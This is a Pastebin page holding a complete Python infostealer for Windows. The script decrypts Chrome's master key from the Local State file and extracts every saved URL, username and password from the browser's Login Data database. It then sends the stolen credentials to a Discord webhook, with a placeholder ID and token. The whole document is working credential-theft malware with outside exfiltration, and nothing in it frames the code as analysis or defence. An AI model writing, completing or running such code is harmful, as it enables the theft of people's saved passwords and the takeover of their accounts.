Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import json
- import base64
- import sqlite3
- import win32crypt
- from Crypto.Cipher import AES
- import shutil
- import requests
- import logging
- from concurrent.futures import ThreadPoolExecutor, as_completed
- # Configure logging
- logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
- # Define constants
- TEMP_DB = "Loginvault.db"
- CHROME_USER_DATA_PATH = os.path.join(os.environ['USERPROFILE'], r'AppData\Local\Google\Chrome\User Data')
- LOCAL_STATE_PATH = os.path.join(CHROME_USER_DATA_PATH, 'Local State')
- LOGIN_DATA_PATH = os.path.join(CHROME_USER_DATA_PATH, r'default\Login Data')
- def get_master_key():
- if not os.path.exists(LOCAL_STATE_PATH):
- logging.error("The 'Local State' file does not exist.")
- return None
- try:
- with open(LOCAL_STATE_PATH, "r", encoding='utf-8') as f:
- local_state = json.load(f)
- encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
- master_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
- return master_key
- except (IOError, KeyError, ValueError) as e:
- logging.error(f"Error getting master key: {e}")
- return None
- def decrypt_payload(cipher, payload):
- try:
- return cipher.decrypt(payload)
- except Exception as e:
- logging.error(f"Error decrypting payload: {e}")
- return None
- def generate_cipher(aes_key, iv):
- try:
- return AES.new(aes_key, AES.MODE_GCM, iv)
- except ValueError as e:
- logging.error(f"Error generating cipher: {e}")
- return None
- def decrypt_password(buff, master_key):
- try:
- iv, payload = buff[3:15], buff[15:]
- cipher = generate_cipher(master_key, iv)
- if cipher:
- decrypted_pass = decrypt_payload(cipher, payload)
- if decrypted_pass:
- return decrypted_pass[:-16].decode()
- return "Failed to decrypt password"
- except Exception as e:
- logging.error(f"Error decrypting password: {e}")
- return "Decryption failed"
- def retrieve_chrome_passwords(temp_db_file, master_key):
- decrypted_info = []
- if not os.path.exists(temp_db_file):
- logging.error("Temporary database file does not exist.")
- return decrypted_info
- try:
- with sqlite3.connect(temp_db_file) as conn:
- cursor = conn.cursor()
- cursor.execute("SELECT action_url, username_value, password_value FROM logins")
- for url, username, encrypted_password in cursor.fetchall():
- decrypted_info.append((url, username, decrypt_password(encrypted_password, master_key)))
- except sqlite3.Error as e:
- logging.error(f"Error retrieving Chrome passwords: {e}")
- finally:
- os.remove(temp_db_file)
- return decrypted_info
- def send_to_discord_webhook(data, webhook_url):
- headers = {'Content-Type': 'application/json'}
- payload = {'content': data}
- try:
- response = requests.post(webhook_url, json=payload, headers=headers)
- if response.status_code == 204:
- logging.info("Decrypted information uploaded to Discord successfully!")
- else:
- logging.error("Failed to upload decrypted information to Discord.")
- except Exception as e:
- logging.error(f"Error sending data to Discord Webhook: {e}")
- def main():
- master_key = get_master_key()
- if not master_key:
- exit(1)
- if not os.path.exists(LOGIN_DATA_PATH):
- logging.error("Chrome login data SQLite database does not exist.")
- exit(1)
- shutil.copy2(LOGIN_DATA_PATH, TEMP_DB)
- decrypted_info = retrieve_chrome_passwords(TEMP_DB, master_key)
- webhook_url = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
- data_to_upload = "\n".join([f"URL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n{'*' * 50}"
- for url, username, decrypted_password in decrypted_info])
- send_to_discord_webhook(data_to_upload, webhook_url)
- if __name__ == '__main__':
- main()
Add Comment
Please, Sign In to add comment